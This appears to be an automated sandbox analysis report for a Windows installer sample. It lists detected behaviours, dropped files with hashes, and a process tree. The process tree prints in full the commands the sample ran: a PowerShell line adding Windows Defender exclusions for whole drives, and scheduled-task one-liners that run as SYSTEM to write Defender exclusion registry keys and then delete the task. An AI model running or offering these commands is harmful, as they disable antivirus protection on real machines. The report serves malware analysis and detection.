Analysis

  • max time kernel
    142s
  • max time network
    156s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/08/2026, 18:14

General

  • Target
    install_c0b012.exe
  • Size 40.7MB
  • Sample260809-wvgezstbjd
  • SHA256 5a05dacd5f8813ed710543a3166faf96c2b633c7b8497165dbe07dc974e40893
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_c0b012.exe
    "C:\Users\Admin\AppData\Local\Temp\install_c0b012.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1860
  • C:\Users\Public\VaslO6\WrsdA6.exe
    "C:\Users\Public\VaslO6\WrsdA6.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    PID:2784
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      PID:2816
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VaslO6\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      PID:5972
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\VaslO6\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1416
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:5924
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5800
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          PID:5484
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1184
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:5788
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:3356
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              PID:5412
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4484
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5056
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:4740
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  PID:1940
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:5032
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4792
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:1640
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      PID:1716
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:3060
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:5336
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:4908
                      • C:\Users\Public\VaslO6\WrsdA6.exe
                        "C:\Users\Public\VaslO6\WrsdA6.exe"
                        1⤵
                          PID:2668
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\VaslO6" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          PID:2520
                        • C:\Windows\system32\cmd.exe
                          cmd.exe
                          1⤵
                            PID:5944
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:3616
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            1⤵
                            • Executes a command shell one-liner
                            PID:5852

                          Network

                                MITRE ATT&CK Enterprise v16

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                                Downloads

                                UxEnhance64.dll

                                • Path C:\Users\Public\VaslO6\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 b7cc2e660d5b7e884b5f6f50f97c730f5d5468a06241a17cc7139ae6bec69be7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                WrsdA6.exe

                                • Path C:\Users\Public\VaslO6\WrsdA6.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\VaslO6\adoresd.dat
                                • Size 4.7MB
                                • SHA256 2b9d1e61bb2b81e552a0475bcf3ce4d0e9039ef02b4304cdd2d05a8e920516cf
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\VaslO6\msadox.tb
                                • Size 8KB
                                • SHA256 e5e5ad59e979dcfa063fccfca4f5f39c818264872ad3588914fc694e57d80c3a
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/1860-1-0x0000000004780000-0x000000000478E000-memory.dmp

                                memory/1860-2-0x0000000004790000-0x000000000479C000-memory.dmp

                                memory/1860-504-0x00007FFE7A690000-0x00007FFE7A6A2000-memory.dmp

                                memory/1860-524-0x0000000004780000-0x000000000478E000-memory.dmp

                                memory/1860-525-0x00007FFE7A690000-0x00007FFE7A6A2000-memory.dmp

                                memory/1860-0-0x0000000004780000-0x000000000478E000-memory.dmp

                                memory/2668-578-0x00007FFE83060000-0x00007FFE83062000-memory.dmp

                                memory/2668-573-0x00007FFE60500000-0x00007FFE60A1E000-memory.dmp

                                memory/2668-585-0x0000023B679D0000-0x0000023B68261000-memory.dmp

                                memory/2668-586-0x0000023B679D0000-0x0000023B68261000-memory.dmp

                                memory/2668-587-0x00007FFE83050000-0x00007FFE83052000-memory.dmp

                                memory/2668-584-0x0000023B679D0000-0x0000023B68261000-memory.dmp

                                memory/2668-583-0x0000023B679D0000-0x0000023B68261000-memory.dmp

                                memory/2668-579-0x0000023B679D0000-0x0000023B68261000-memory.dmp

                                memory/2668-576-0x0000023B679D0000-0x0000023B68261000-memory.dmp

                                memory/2784-546-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-530-0x00007FFE83050000-0x00007FFE83052000-memory.dmp

                                memory/2784-560-0x00000268464A0000-0x000002684652A000-memory.dmp

                                memory/2784-559-0x00000268464A0000-0x000002684652A000-memory.dmp

                                memory/2784-558-0x00000268464A0000-0x000002684652A000-memory.dmp

                                memory/2784-561-0x00000268464A0000-0x000002684652A000-memory.dmp

                                memory/2784-563-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-565-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-567-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-550-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-531-0x00007FFE60500000-0x00007FFE60A1E000-memory.dmp

                                memory/2784-556-0x00000268463C0000-0x000002684640E000-memory.dmp

                                memory/2784-545-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-544-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-543-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-539-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2784-538-0x00007FFE83060000-0x00007FFE83062000-memory.dmp

                                memory/2784-536-0x0000026845B20000-0x00000268463B1000-memory.dmp

                                memory/2816-594-0x000002712EE00000-0x000002712EE22000-memory.dmp

                                memory/2816-597-0x000002712EE30000-0x000002712EE4E000-memory.dmp

                                memory/2816-598-0x000002712F1C0000-0x000002712F272000-memory.dmp